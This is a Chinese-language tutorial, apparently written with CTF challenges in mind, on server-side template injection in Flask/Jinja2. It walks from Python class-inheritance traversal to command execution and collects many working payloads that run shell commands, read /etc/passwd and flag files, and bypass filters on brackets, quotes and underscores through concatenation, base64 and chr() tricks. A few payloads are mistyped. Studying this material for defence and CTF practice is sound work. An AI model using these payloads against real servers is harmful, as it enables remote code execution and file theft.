SSTI漏洞

服务端模板注入

SSTI(Server-Side Template Injection)从名字可以看出即是服务器端模板注入。比如python中的flask、php的thinkphp、java的spring等框架一般都采用MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。(这篇文章主要是记录python的)

原理:

首先要知道什么是模板,模板可以被认为是一段固定好格式,等着开发人员或者用户来填充信息的文件。通过这种方法,可以做到逻辑与视图分离,更容易、清楚且相对安全地编写前后端不同的逻辑。

SSTI:

服务端接收攻击者的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了攻击者插入的可以破坏模板的语句,从而达到攻击者的目的。这么说可能有点抽象,我们看一下下面的python中的基于jinja2的模板渲染。

`from flask import *`
`from jinja2 import *`

`app = Flask(__name__)`

`@app.route("/myan")`

`def index():`
`name = request.args.get('name','guest')`
`html = '''<h3> Hello %s'''%name`
`return render_template_string(html)`

`if __name__ == "__main__":`
`app.run(debug=True)`

运行后访问http://127.0.0.1:5000/myan 可以发现默认的模板解析参数为guest,从上面的python代码中我们发现服务端的逻辑是接收前端输入的name参数,然后将其返回到后端进行拼接再返回前端进行展示,当我们输入?name=myan时可以发现前端返回结果 回显:Hello myan

模板渲染函数

这里主要有两种模板渲染函数,render_template_string()与render_template(),其中render_template是用来渲染一个指定文件的。render_template_string()则是用来渲染字符串的。而渲染函数在渲染的时候,往往对用户输入的变量不做渲染,即:{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{2*2}}会被解析成4。因此才有了现在的模板注入漏洞。往往变量我们使用{{恶意代码}}。正因为{{}}包裹的东西会被解析,因此我们就可以实现类似于SQL注入的漏洞。

SSTI攻击方法:

继承关系:

这里我想先讲讲类之间的继承关系,因为在后面的攻击中用到的就是这种继承关系的不断调用最终达到一个rce的效果,这里我们就具体讲讲类的继承关系。

class A:pass

class B:pass

class C:pass

class D:pass

可以看到我们创建了4个类,其中的B类继承了A类,C、D类继承了B类,如果我们在这创建一个C的对象c,那么我们就可以通过__class__魔术方法来找到它的当前类

c=C()

print(c.__class__.__base__)

可以看到回显C类的父类B类,如果想找到A类那就再加一个.__base__

再之后A类上面应该是没有类了但是其实在python里面所有的类都是object,当我们创建一个类而没有显式地指定它继承的父类时,这个类就会默认继承object类,因此我们在到A类里面再添加一个__base__就能拿到object,当然这样一个一个递进上去的方法有一些麻烦,所以我们可以使用__mro__魔术方法来一步到位看到类的所有父类(由于它是以数组形式的所以我们在后面加上下标就能拿到指定的类了)

print(c.__class__.__mro__[3])

我们在拿到object类后就可以通过object类来查找python中的所有object类的子类,当然这其中会有我们能通过该类rce的子类。我们通过__subclasses__来获取当前类的所有子类,print(c.__class__.__mro__[3].__subclasser__)

可以发现有很多类,前面我们也说到了python的所有类最终都是继承object类的,因此这里存在大量的类,当然我们最终的目的是要去进行rce,因此我们应该寻找与之相关的类,这里就给出一个类<class 'os._wrap_close'>,我们在这里找一下,一般大概在第139个,不过具体的环境还是要具体分析,比如我这里就是156(有时候可以使用一些脚本试试),跟前面的__mro__魔术方法一样是用数组表示的,可以用下标找到对应的类。接下来我们给这个类进行一些初始化方法

print(c.__class__.__mro__[3].__subclasses__()[156].__init__.__globals__)

可以发现很多全局变量都在里面,我们需要最后能够进行rce,因此应该找到能执行系统命令的方法,这里用popen函数来执行系统命令,在后面加上具体的函数名即可找到对应的函数,我们执行一下shell命令,这里执行一下whoami,这里一定要记得用.read()来读取一下,因为popen方法返回的是一个与子进程通信的对象,为了从该对象中获取子进程的输出,因此需要使用read()方法来读取子进程的输出

print(c.__class__.__mro__[3].__subclasses__()[156].__init__.__globals__['popen']('whoami').read())

可以发现成功执行系统命令,这里我们就其实通过类的继承关系里大致讲完了SSTI的一个攻击的思路。

魔术方法:

`__class__            返回该对象所属的类。py万物皆对象,比如某个字符串对象,而其所属的类为<class 'str'>`
`__base__ 以字符串形式返回一个类的父类`
`__bases__ 以元组形式返回一个类的全部父类`
`__mro__ 返回解析方法调用的顺序,即返回所有父类`
`__subclasses__() 返回这个类的所有子类`
`__init__ 初始化类,返回的类型是function`
`__globals__ 用于获取function所处空间下可使用的module、方法以及所有变量`
`__dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里`
`__str__() 返回描写这个对象的字符串,可以理解成是打印出来。`
`__getattribute__() 绕过关键字。实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。`
`__getitem__() 绕过[]。调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')`
`__import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]`

`__builtins__ 内建名称空间,里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。`
`url_for flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。`
`get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。`
`lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}`

`request 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()`
`request.args.x1 get传参`
`request.values.x1 所有参数`
`request.cookies cookies参数`
`request.headers 请求头参数`
`request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)`
`request.data post传参 (Content-Type:a/b)`
`request.json post传json (Content-Type: application/json)`

`config 当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}`
`current_app 应用上下文,一个全局变量。`
`g {{g}}得到<flask.g of 'flask_ssti'>`

​ (真的多)

常见的命令执行方式:

os.system():

…init__globals[‘os’].system(‘ls’)的输出是执行结果的返回值,而不是执行命令的输出,成功执行返回0,失败返回-1,因为输出结果不明显,所以我们也会用到下面这个命令:

os.popen():

用法:

`os.popen(command[,mode[,bufsize]])`
`eg:{{()class.base.subclass__()[71].init.globlas__[‘os’].popen(‘ls’,‘r’).read()}}`

说明:mode – 模式权限可以是 ‘r’(默认) 或 ‘w’。

init.globals__[‘os’].popen(‘ls’,‘r’),read()

popen方法通过p.read()获取终端输出,而且popen需要关闭close().当执行成功时,close()不返回任何值,失败时,close()返回系统返回值(失败返回1). 可见它获取返回值的方式和os.system不同。

缺点:Popen非常强大,支持多种参数和模式,通过其构造函数可以看到支持很多参数。但Popen函数存在缺陷在于,它是一个阻塞的方法,如果运行cmd命令时产生内容非常多,函数就容易阻塞。另一点,Popen方法也不会打印出cmd的执行信息

warnings.catchwarning:

访问os模块还有从warnings.catchwarnings模块入手的,而这两个模块分别位于元组中的59,60号元素。__init__方法用于将对象实例化,在这个函数下我们可以通过funcglobals(或者__globals)看该模块下有哪些globals函数(注意返回的是字典),而linecache可用于读取任意一个文件的某一行,而这个函数引用了os模块。

`[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('ls')`

`[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].system('ls')`
__builtins__内建函数:

内建函数就是本身就有的,启动的时候python解释器就会自动解析,内建函数里面包括了许多们需要的eval函数,可以执行命令

例:

`'.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')`

`''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.values()[13]['eval']('__import__("os").popen("ls").read()')`

`这两个payload用的是同一个模块,__builtins__模块,eval方法.`

`[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].popen('ls').read()`

绕过:

拼接:
`object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')`

`().__class__.__bases__[0].__subclasses__()[40]('r','fla'+'g.txt')).read()`
编码:
`().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")`

等价于

`().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['ZXZhbA=='.decode('base64')]("X19pbXBvcnRfXygnb3MnKS5wb3BlbignbHMnKS5yZWFkKCk=".decode('base64'))(可以看出单双引号内的都可以编码)`

同理还可以进行rot13、16进制编码等

过滤中括号[]:
`getitem()`

`"".__class__.__mro__[2]`
`"".__class__.__mro__.__getitem__(2)`

`pop()`

`''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()`

字典读取

`__builtins__['eval']()`
`__builtins__.eval()`

经过测试这种方法在python解释器里不能执行,但是在测试的题目环境下可以执行

过滤引号:

先获取chr函数,赋值给chr,后面拼接字符串

`{% set`
`chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr`
`%}{{`
`().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read()`
`}}`

`或者借助request对象:(这种方法在沙盒种不行,在web下才行,因为需要传参)`

`{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}&path=/etc/passwd`

`PS:将其中的request.args改为request.values则利用post的方式进行传参`

`执行命令:`

`{% set`
`chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr`
`%}{{`
`().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(chr(105)%2bchr(100)).read()`
`}}`

`{{`
`().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(request.args.cmd).read()`
`}}&cmd=id`
过滤双下划线__:
`{{`
`''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read()`
`}}&class=__class__&mro=__mro__&subclasses=__subclasses__`
过滤